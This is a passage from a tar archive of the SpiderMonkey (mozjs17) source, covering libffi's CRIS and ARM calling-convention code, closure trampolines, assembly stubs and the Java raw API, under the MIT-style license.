closure->fun = fun; memcpy (closure->tramp, ffi_cris_trampoline_template, FFI_CRIS_TRAMPOLINE_CODE_PART_SIZE); memcpy (closure->tramp + ffi_cris_trampoline_fn_offset, &innerfn, sizeof (void *)); memcpy (closure->tramp + ffi_cris_trampoline_closure_offset, &codeloc, sizeof (void *)); return FFI_OK; } mozjs17.0.0/js/src/ctypes/libffi/src/cris/sysv.S0000664000175000017500000001254712106270662021435 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 2004 Simon Posnjak Copyright (c) 2005 Axis Communications AB CRIS Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON POSNJAK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #define CONCAT(x,y) x ## y #define XCONCAT(x,y) CONCAT (x, y) #define L(x) XCONCAT (__USER_LABEL_PREFIX__, x) .text ;; OK, when we get called we should have this (according to ;; AXIS ETRAX 100LX Programmer's Manual chapter 6.3). ;; ;; R10: ffi_prep_args (func. pointer) ;; R11: &ecif ;; R12: cif->bytes ;; R13: fig->flags ;; sp+0: ecif.rvalue ;; sp+4: fn (function pointer to the function that we need to call) .globl L(ffi_call_SYSV) .type L(ffi_call_SYSV),@function .hidden L(ffi_call_SYSV) L(ffi_call_SYSV): ;; Save the regs to the stack. push $srp ;; Used for stack pointer saving. push $r6 ;; Used for function address pointer. push $r7 ;; Used for stack pointer saving. push $r8 ;; We save fig->flags to stack we will need them after we ;; call The Function. push $r13 ;; Saving current stack pointer. move.d $sp,$r8 move.d $sp,$r6 ;; Move address of ffi_prep_args to r13. move.d $r10,$r13 ;; Make room on the stack for the args of fn. sub.d $r12,$sp ;; Function void ffi_prep_args(char *stack, extended_cif *ecif) parameters are: ;; r10 <-- stack pointer ;; r11 <-- &ecif (already there) move.d $sp,$r10 ;; Call the function. jsr $r13 ;; Save the size of the structures which are passed on stack. move.d $r10,$r7 ;; Move first four args in to r10..r13. move.d [$sp+0],$r10 move.d [$sp+4],$r11 move.d [$sp+8],$r12 move.d [$sp+12],$r13 ;; Adjust the stack and check if any parameters are given on stack. addq 16,$sp sub.d $r7,$r6 cmp.d $sp,$r6 bpl go_on nop go_on_no_params_on_stack: move.d $r6,$sp go_on: ;; Discover if we need to put rval address in to r9. move.d [$r8+0],$r7 cmpq FFI_TYPE_STRUCT,$r7 bne call_now nop ;; Move rval address to $r9. move.d [$r8+20],$r9 call_now: ;; Move address of The Function in to r7. move.d [$r8+24],$r7 ;; Call The Function. jsr $r7 ;; Reset stack. move.d $r8,$sp ;; Load rval type (fig->flags) in to r13. pop $r13 ;; Detect rval type. cmpq FFI_TYPE_VOID,$r13 beq epilogue cmpq FFI_TYPE_STRUCT,$r13 beq epilogue cmpq FFI_TYPE_DOUBLE,$r13 beq return_double_or_longlong cmpq FFI_TYPE_UINT64,$r13 beq return_double_or_longlong cmpq FFI_TYPE_SINT64,$r13 beq return_double_or_longlong nop ;; Just return the 32 bit value. ba return nop return_double_or_longlong: ;; Load half of the rval to r10 and the other half to r11. move.d [$sp+16],$r13 move.d $r10,[$r13] addq 4,$r13 move.d $r11,[$r13] ba epilogue nop return: ;; Load the rval to r10. move.d [$sp+16],$r13 move.d $r10,[$r13] epilogue: pop $r8 pop $r7 pop $r6 Jump [$sp+] .size ffi_call_SYSV,.-ffi_call_SYSV /* Save R10..R13 into an array, somewhat like varargs. Copy the next argument too, to simplify handling of any straddling parameter. Save R9 and SP after those. Jump to function handling the rest. Since this is a template, copied and the main function filled in by the user. */ .globl L(ffi_cris_trampoline_template) .type L(ffi_cris_trampoline_template),@function .hidden L(ffi_cris_trampoline_template) L(ffi_cris_trampoline_template): 0: /* The value we get for "PC" is right after the prefix instruction, two bytes from the beginning, i.e. 0b+2. */ move.d $r10,[$pc+2f-(0b+2)] move.d $pc,$r10 1: addq 2f-1b+4,$r10 move.d $r11,[$r10+] move.d $r12,[$r10+] move.d $r13,[$r10+] move.d [$sp],$r11 move.d $r11,[$r10+] move.d $r9,[$r10+] move.d $sp,[$r10+] subq FFI_CRIS_TRAMPOLINE_DATA_PART_SIZE,$r10 move.d 0,$r11 3: jump 0 2: .size ffi_cris_trampoline_template,.-0b /* This macro create a constant usable as "extern const int \name" in C from within libffi, when \name has no prefix decoration. */ .macro const name,value .globl \name .type \name,@object .hidden \name \name: .dword \value .size \name,4 .endm /* Constants for offsets within the trampoline. We could do this with just symbols, avoiding memory contents and memory accesses, but the C usage code would look a bit stranger. */ const L(ffi_cris_trampoline_fn_offset),2b-4-0b const L(ffi_cris_trampoline_closure_offset),3b-4-0b mozjs17.0.0/js/src/ctypes/libffi/src/java_raw_api.c0000664000175000017500000002043112106270662022123 0ustar sstanglsstangl/* ----------------------------------------------------------------------- java_raw_api.c - Copyright (c) 1999, 2007, 2008 Red Hat, Inc. Cloned from raw_api.c Raw_api.c author: Kresten Krab Thorup Java_raw_api.c author: Hans-J. Boehm $Id $ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ /* This defines a Java- and 64-bit specific variant of the raw API. */ /* It assumes that "raw" argument blocks look like Java stacks on a */ /* 64-bit machine. Arguments that can be stored in a single stack */ /* stack slots (longs, doubles) occupy 128 bits, but only the first */ /* 64 bits are actually used. */ #include #include #include #if !defined(NO_JAVA_RAW_API) && !defined(FFI_NO_RAW_API) size_t ffi_java_raw_size (ffi_cif *cif) { size_t result = 0; int i; ffi_type **at = cif->arg_types; for (i = cif->nargs-1; i >= 0; i--, at++) { switch((*at) -> type) { case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: case FFI_TYPE_DOUBLE: result += 2 * FFI_SIZEOF_JAVA_RAW; break; case FFI_TYPE_STRUCT: /* No structure parameters in Java. */ abort(); default: result += FFI_SIZEOF_JAVA_RAW; } } return result; } void ffi_java_raw_to_ptrarray (ffi_cif *cif, ffi_java_raw *raw, void **args) { unsigned i; ffi_type **tp = cif->arg_types; #if WORDS_BIGENDIAN for (i = 0; i < cif->nargs; i++, tp++, args++) { switch ((*tp)->type) { case FFI_TYPE_UINT8: case FFI_TYPE_SINT8: *args = (void*) ((char*)(raw++) + 3); break; case FFI_TYPE_UINT16: case FFI_TYPE_SINT16: *args = (void*) ((char*)(raw++) + 2); break; #if FFI_SIZEOF_JAVA_RAW == 8 case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: case FFI_TYPE_DOUBLE: *args = (void *)raw; raw += 2; break; #endif case FFI_TYPE_POINTER: *args = (void*) &(raw++)->ptr; break; default: *args = raw; raw += ALIGN ((*tp)->size, sizeof(ffi_java_raw)) / sizeof(ffi_java_raw); } } #else /* WORDS_BIGENDIAN */ #if !PDP /* then assume little endian */ for (i = 0; i < cif->nargs; i++, tp++, args++) { #if FFI_SIZEOF_JAVA_RAW == 8 switch((*tp)->type) { case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: case FFI_TYPE_DOUBLE: *args = (void*) raw; raw += 2; break; default: *args = (void*) raw++; } #else /* FFI_SIZEOF_JAVA_RAW != 8 */ *args = (void*) raw; raw += ALIGN ((*tp)->size, sizeof(ffi_java_raw)) / sizeof(ffi_java_raw); #endif /* FFI_SIZEOF_JAVA_RAW == 8 */ } #else #error "pdp endian not supported" #endif /* ! PDP */ #endif /* WORDS_BIGENDIAN */ } void ffi_java_ptrarray_to_raw (ffi_cif *cif, void **args, ffi_java_raw *raw) { unsigned i; ffi_type **tp = cif->arg_types; for (i = 0; i < cif->nargs; i++, tp++, args++) { switch ((*tp)->type) { case FFI_TYPE_UINT8: #if WORDS_BIGENDIAN *(UINT32*)(raw++) = *(UINT8*) (*args); #else (raw++)->uint = *(UINT8*) (*args); #endif break; case FFI_TYPE_SINT8: #if WORDS_BIGENDIAN *(SINT32*)(raw++) = *(SINT8*) (*args); #else (raw++)->sint = *(SINT8*) (*args); #endif break; case FFI_TYPE_UINT16: #if WORDS_BIGENDIAN *(UINT32*)(raw++) = *(UINT16*) (*args); #else (raw++)->uint = *(UINT16*) (*args); #endif break; case FFI_TYPE_SINT16: #if WORDS_BIGENDIAN *(SINT32*)(raw++) = *(SINT16*) (*args); #else (raw++)->sint = *(SINT16*) (*args); #endif break; case FFI_TYPE_UINT32: #if WORDS_BIGENDIAN *(UINT32*)(raw++) = *(UINT32*) (*args); #else (raw++)->uint = *(UINT32*) (*args); #endif break; case FFI_TYPE_SINT32: #if WORDS_BIGENDIAN *(SINT32*)(raw++) = *(SINT32*) (*args); #else (raw++)->sint = *(SINT32*) (*args); #endif break; case FFI_TYPE_FLOAT: (raw++)->flt = *(FLOAT32*) (*args); break; #if FFI_SIZEOF_JAVA_RAW == 8 case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: case FFI_TYPE_DOUBLE: raw->uint = *(UINT64*) (*args); raw += 2; break; #endif case FFI_TYPE_POINTER: (raw++)->ptr = **(void***) args; break; default: #if FFI_SIZEOF_JAVA_RAW == 8 FFI_ASSERT(0); /* Should have covered all cases */ #else memcpy ((void*) raw->data, (void*)*args, (*tp)->size); raw += ALIGN ((*tp)->size, sizeof(ffi_java_raw)) / sizeof(ffi_java_raw); #endif } } } #if !FFI_NATIVE_RAW_API static void ffi_java_rvalue_to_raw (ffi_cif *cif, void *rvalue) { #if WORDS_BIGENDIAN && FFI_SIZEOF_ARG == 8 switch (cif->rtype->type) { case FFI_TYPE_UINT8: case FFI_TYPE_UINT16: case FFI_TYPE_UINT32: *(UINT64 *)rvalue <<= 32; break; case FFI_TYPE_SINT8: case FFI_TYPE_SINT16: case FFI_TYPE_SINT32: case FFI_TYPE_INT: #if FFI_SIZEOF_JAVA_RAW == 4 case FFI_TYPE_POINTER: #endif *(SINT64 *)rvalue <<= 32; break; default: break; } #endif } static void ffi_java_raw_to_rvalue (ffi_cif *cif, void *rvalue) { #if WORDS_BIGENDIAN && FFI_SIZEOF_ARG == 8 switch (cif->rtype->type) { case FFI_TYPE_UINT8: case FFI_TYPE_UINT16: case FFI_TYPE_UINT32: *(UINT64 *)rvalue >>= 32; break; case FFI_TYPE_SINT8: case FFI_TYPE_SINT16: case FFI_TYPE_SINT32: case FFI_TYPE_INT: *(SINT64 *)rvalue >>= 32; break; default: break; } #endif } /* This is a generic definition of ffi_raw_call, to be used if the * native system does not provide a machine-specific implementation. * Having this, allows code to be written for the raw API, without * the need for system-specific code to handle input in that format; * these following couple of functions will handle the translation forth * and back automatically. */ void ffi_java_raw_call (ffi_cif *cif, void (*fn)(void), void *rvalue, ffi_java_raw *raw) { void **avalue = (void**) alloca (cif->nargs * sizeof (void*)); ffi_java_raw_to_ptrarray (cif, raw, avalue); ffi_call (cif, fn, rvalue, avalue); ffi_java_rvalue_to_raw (cif, rvalue); } #if FFI_CLOSURES /* base system provides closures */ static void ffi_java_translate_args (ffi_cif *cif, void *rvalue, void **avalue, void *user_data) { ffi_java_raw *raw = (ffi_java_raw*)alloca (ffi_java_raw_size (cif)); ffi_raw_closure *cl = (ffi_raw_closure*)user_data; ffi_java_ptrarray_to_raw (cif, avalue, raw); (*cl->fun) (cif, rvalue, raw, cl->user_data); ffi_java_raw_to_rvalue (cif, rvalue); } ffi_status ffi_prep_java_raw_closure_loc (ffi_java_raw_closure* cl, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_java_raw*,void*), void *user_data, void *codeloc) { ffi_status status; status = ffi_prep_closure_loc ((ffi_closure*) cl, cif, &ffi_java_translate_args, codeloc, codeloc); if (status == FFI_OK) { cl->fun = fun; cl->user_data = user_data; } return status; } /* Again, here is the generic version of ffi_prep_raw_closure, which * will install an intermediate "hub" for translation of arguments from * the pointer-array format, to the raw format */ ffi_status ffi_prep_java_raw_closure (ffi_java_raw_closure* cl, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_java_raw*,void*), void *user_data) { return ffi_prep_java_raw_closure_loc (cl, cif, fun, user_data, cl); } #endif /* FFI_CLOSURES */ #endif /* !FFI_NATIVE_RAW_API */ #endif /* !FFI_NO_RAW_API */ mozjs17.0.0/js/src/ctypes/libffi/src/arm/0000775000175000017500000000000012106270662020113 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/arm/ffitarget.h0000664000175000017500000000406612106270662022245 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for ARM. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_VFP, FFI_LAST_ABI, #ifdef __ARM_PCS_VFP FFI_DEFAULT_ABI = FFI_VFP #else FFI_DEFAULT_ABI = FFI_SYSV #endif } ffi_abi; #endif #define FFI_EXTRA_CIF_FIELDS \ int vfp_used; \ short vfp_reg_free, vfp_nargs; \ signed char vfp_args[16] \ /* Internally used. */ #define FFI_TYPE_STRUCT_VFP_FLOAT (FFI_TYPE_LAST + 1) #define FFI_TYPE_STRUCT_VFP_DOUBLE (FFI_TYPE_LAST + 2) /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 20 #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/arm/ffi.c0000664000175000017500000003115312106270662021026 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1998, 2008 Red Hat, Inc. ARM Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include /* Forward declares. */ static int vfp_type_p (ffi_type *); static void layout_vfp_args (ffi_cif *); /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments The vfp_space parameter is the load area for VFP regs, the return value is cif->vfp_used (word bitset of VFP regs used for passing arguments). These are only used for the VFP hard-float ABI. */ int ffi_prep_args(char *stack, extended_cif *ecif, float *vfp_space) { register unsigned int i, vi = 0; register void **p_argv; register char *argp; register ffi_type **p_arg; argp = stack; if ( ecif->cif->flags == FFI_TYPE_STRUCT ) { *(void **) argp = ecif->rvalue; argp += 4; } p_argv = ecif->avalue; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; (i != 0); i--, p_arg++) { size_t z; /* Allocated in VFP registers. */ if (ecif->cif->abi == FFI_VFP && vi < ecif->cif->vfp_nargs && vfp_type_p (*p_arg)) { float* vfp_slot = vfp_space + ecif->cif->vfp_args[vi++]; if ((*p_arg)->type == FFI_TYPE_FLOAT) *((float*)vfp_slot) = *((float*)*p_argv); else if ((*p_arg)->type == FFI_TYPE_DOUBLE) *((double*)vfp_slot) = *((double*)*p_argv); else memcpy(vfp_slot, *p_argv, (*p_arg)->size); p_argv++; continue; } /* Align if necessary */ if (((*p_arg)->alignment - 1) & (unsigned) argp) { argp = (char *) ALIGN(argp, (*p_arg)->alignment); } if ((*p_arg)->type == FFI_TYPE_STRUCT) argp = (char *) ALIGN(argp, 4); z = (*p_arg)->size; if (z < sizeof(int)) { z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int)*(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned int)*(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int)*(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int)*(UINT16 *)(* p_argv); break; case FFI_TYPE_STRUCT: memcpy(argp, *p_argv, (*p_arg)->size); break; default: FFI_ASSERT(0); } } else if (z == sizeof(int)) { *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); } else { memcpy(argp, *p_argv, z); } p_argv++; argp += z; } /* Indicate the VFP registers used. */ return ecif->cif->vfp_used; } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { int type_code; /* Round the stack up to a multiple of 8 bytes. This isn't needed everywhere, but it is on some platforms, and it doesn't harm anything when it isn't needed. */ cif->bytes = (cif->bytes + 7) & ~7; /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_VOID: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: cif->flags = (unsigned) cif->rtype->type; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags = (unsigned) FFI_TYPE_SINT64; break; case FFI_TYPE_STRUCT: if (cif->abi == FFI_VFP && (type_code = vfp_type_p (cif->rtype)) != 0) { /* A Composite Type passed in VFP registers, either FFI_TYPE_STRUCT_VFP_FLOAT or FFI_TYPE_STRUCT_VFP_DOUBLE. */ cif->flags = (unsigned) type_code; } else if (cif->rtype->size <= 4) /* A Composite Type not larger than 4 bytes is returned in r0. */ cif->flags = (unsigned)FFI_TYPE_INT; else /* A Composite Type larger than 4 bytes, or whose size cannot be determined statically ... is stored in memory at an address passed [in r0]. */ cif->flags = (unsigned)FFI_TYPE_STRUCT; break; default: cif->flags = FFI_TYPE_INT; break; } /* Map out the register placements of VFP register args. The VFP hard-float calling conventions are slightly more sophisticated than the base calling conventions, so we do it here instead of in ffi_prep_args(). */ if (cif->abi == FFI_VFP) layout_vfp_args (cif); return FFI_OK; } /* Prototypes for assembly functions, in sysv.S */ extern void ffi_call_SYSV (void (*fn)(void), extended_cif *, unsigned, unsigned, unsigned *); extern void ffi_call_VFP (void (*fn)(void), extended_cif *, unsigned, unsigned, unsigned *); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; int small_struct = (cif->flags == FFI_TYPE_INT && cif->rtype->type == FFI_TYPE_STRUCT); int vfp_struct = (cif->flags == FFI_TYPE_STRUCT_VFP_FLOAT || cif->flags == FFI_TYPE_STRUCT_VFP_DOUBLE); ecif.cif = cif; ecif.avalue = avalue; unsigned int temp; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if ((rvalue == NULL) && (cif->flags == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else if (small_struct) ecif.rvalue = &temp; else if (vfp_struct) { /* Largest case is double x 4. */ ecif.rvalue = alloca(32); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_SYSV: ffi_call_SYSV (fn, &ecif, cif->bytes, cif->flags, ecif.rvalue); break; case FFI_VFP: ffi_call_VFP (fn, &ecif, cif->bytes, cif->flags, ecif.rvalue); break; default: FFI_ASSERT(0); break; } if (small_struct) memcpy (rvalue, &temp, cif->rtype->size); else if (vfp_struct) memcpy (rvalue, ecif.rvalue, cif->rtype->size); } /** private members **/ static void ffi_prep_incoming_args_SYSV (char *stack, void **ret, void** args, ffi_cif* cif, float *vfp_stack); void ffi_closure_SYSV (ffi_closure *); void ffi_closure_VFP (ffi_closure *); /* This function is jumped to by the trampoline */ unsigned int ffi_closure_SYSV_inner (closure, respp, args, vfp_args) ffi_closure *closure; void **respp; void *args; void *vfp_args; { // our various things... ffi_cif *cif; void **arg_area; cif = closure->cif; arg_area = (void**) alloca (cif->nargs * sizeof (void*)); /* this call will initialize ARG_AREA, such that each * element in that array points to the corresponding * value on the stack; and if the function returns * a structure, it will re-set RESP to point to the * structure return address. */ ffi_prep_incoming_args_SYSV(args, respp, arg_area, cif, vfp_args); (closure->fun) (cif, *respp, arg_area, closure->user_data); return cif->flags; } /*@-exportheader@*/ static void ffi_prep_incoming_args_SYSV(char *stack, void **rvalue, void **avalue, ffi_cif *cif, /* Used only under VFP hard-float ABI. */ float *vfp_stack) /*@=exportheader@*/ { register unsigned int i, vi = 0; register void **p_argv; register char *argp; register ffi_type **p_arg; argp = stack; if ( cif->flags == FFI_TYPE_STRUCT ) { *rvalue = *(void **) argp; argp += 4; } p_argv = avalue; for (i = cif->nargs, p_arg = cif->arg_types; (i != 0); i--, p_arg++) { size_t z; size_t alignment; if (cif->abi == FFI_VFP && vi < cif->vfp_nargs && vfp_type_p (*p_arg)) { *p_argv++ = (void*)(vfp_stack + cif->vfp_args[vi++]); continue; } alignment = (*p_arg)->alignment; if (alignment < 4) alignment = 4; /* Align if necessary */ if ((alignment - 1) & (unsigned) argp) { argp = (char *) ALIGN(argp, alignment); } z = (*p_arg)->size; /* because we're little endian, this is what it turns into. */ *p_argv = (void*) argp; p_argv++; argp += z; } return; } /* How to make a trampoline. */ #define FFI_INIT_TRAMPOLINE(TRAMP,FUN,CTX) \ ({ unsigned char *__tramp = (unsigned char*)(TRAMP); \ unsigned int __fun = (unsigned int)(FUN); \ unsigned int __ctx = (unsigned int)(CTX); \ *(unsigned int*) &__tramp[0] = 0xe92d000f; /* stmfd sp!, {r0-r3} */ \ *(unsigned int*) &__tramp[4] = 0xe59f0000; /* ldr r0, [pc] */ \ *(unsigned int*) &__tramp[8] = 0xe59ff000; /* ldr pc, [pc] */ \ *(unsigned int*) &__tramp[12] = __ctx; \ *(unsigned int*) &__tramp[16] = __fun; \ __clear_cache((&__tramp[0]), (&__tramp[19])); \ }) /* the cif must already be prep'ed */ ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void *codeloc) { void (*closure_func)(ffi_closure*) = NULL; if (cif->abi == FFI_SYSV) closure_func = &ffi_closure_SYSV; else if (cif->abi == FFI_VFP) closure_func = &ffi_closure_VFP; else FFI_ASSERT (0); FFI_INIT_TRAMPOLINE (&closure->tramp[0], \ closure_func, \ codeloc); closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } /* Below are routines for VFP hard-float support. */ static int rec_vfp_type_p (ffi_type *t, int *elt, int *elnum) { switch (t->type) { case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: *elt = (int) t->type; *elnum = 1; return 1; case FFI_TYPE_STRUCT_VFP_FLOAT: *elt = FFI_TYPE_FLOAT; *elnum = t->size / sizeof (float); return 1; case FFI_TYPE_STRUCT_VFP_DOUBLE: *elt = FFI_TYPE_DOUBLE; *elnum = t->size / sizeof (double); return 1; case FFI_TYPE_STRUCT:; { int base_elt = 0, total_elnum = 0; ffi_type **el = t->elements; while (*el) { int el_elt = 0, el_elnum = 0; if (! rec_vfp_type_p (*el, &el_elt, &el_elnum) || (base_elt && base_elt != el_elt) || total_elnum + el_elnum > 4) return 0; base_elt = el_elt; total_elnum += el_elnum; el++; } *elnum = total_elnum; *elt = base_elt; return 1; } default: ; } return 0; } static int vfp_type_p (ffi_type *t) { int elt, elnum; if (rec_vfp_type_p (t, &elt, &elnum)) { if (t->type == FFI_TYPE_STRUCT) { if (elnum == 1) t->type = elt; else t->type = (elt == FFI_TYPE_FLOAT ? FFI_TYPE_STRUCT_VFP_FLOAT : FFI_TYPE_STRUCT_VFP_DOUBLE); } return (int) t->type; } return 0; } static void place_vfp_arg (ffi_cif *cif, ffi_type *t) { int reg = cif->vfp_reg_free; int nregs = t->size / sizeof (float); int align = ((t->type == FFI_TYPE_STRUCT_VFP_FLOAT || t->type == FFI_TYPE_FLOAT) ? 1 : 2); /* Align register number. */ if ((reg & 1) && align == 2) reg++; while (reg + nregs <= 16) { int s, new_used = 0; for (s = reg; s < reg + nregs; s++) { new_used |= (1 << s); if (cif->vfp_used & (1 << s)) { reg += align; goto next_reg; } } /* Found regs to allocate. */ cif->vfp_used |= new_used; cif->vfp_args[cif->vfp_nargs++] = reg; /* Update vfp_reg_free. */ if (cif->vfp_used & (1 << cif->vfp_reg_free)) { reg += nregs; while (cif->vfp_used & (1 << reg)) reg += 1; cif->vfp_reg_free = reg; } return; next_reg: ; } } static void layout_vfp_args (ffi_cif *cif) { int i; /* Init VFP fields */ cif->vfp_used = 0; cif->vfp_nargs = 0; cif->vfp_reg_free = 0; memset (cif->vfp_args, -1, 16); /* Init to -1. */ for (i = 0; i < cif->nargs; i++) { ffi_type *t = cif->arg_types[i]; if (vfp_type_p (t)) place_vfp_arg (cif, t); } } mozjs17.0.0/js/src/ctypes/libffi/src/arm/sysv.S0000664000175000017500000002350712106270662021252 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 1998, 2008 Red Hat, Inc. ARM Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef HAVE_MACHINE_ASM_H #include #else #ifdef __USER_LABEL_PREFIX__ #define CONCAT1(a, b) CONCAT2(a, b) #define CONCAT2(a, b) a ## b /* Use the right prefix for global labels. */ #define CNAME(x) CONCAT1 (__USER_LABEL_PREFIX__, x) #else #define CNAME(x) x #endif #define ENTRY(x) .globl CNAME(x); .type CNAME(x),%function; CNAME(x): #endif #ifdef __ELF__ #define LSYM(x) .x #else #define LSYM(x) x #endif /* We need a better way of testing for this, but for now, this is all we can do. */ @ This selects the minimum architecture level required. #define __ARM_ARCH__ 3 #if defined(__ARM_ARCH_4__) || defined(__ARM_ARCH_4T__) # undef __ARM_ARCH__ # define __ARM_ARCH__ 4 #endif #if defined(__ARM_ARCH_5__) || defined(__ARM_ARCH_5T__) \ || defined(__ARM_ARCH_5E__) || defined(__ARM_ARCH_5TE__) \ || defined(__ARM_ARCH_5TEJ__) # undef __ARM_ARCH__ # define __ARM_ARCH__ 5 #endif #if defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) 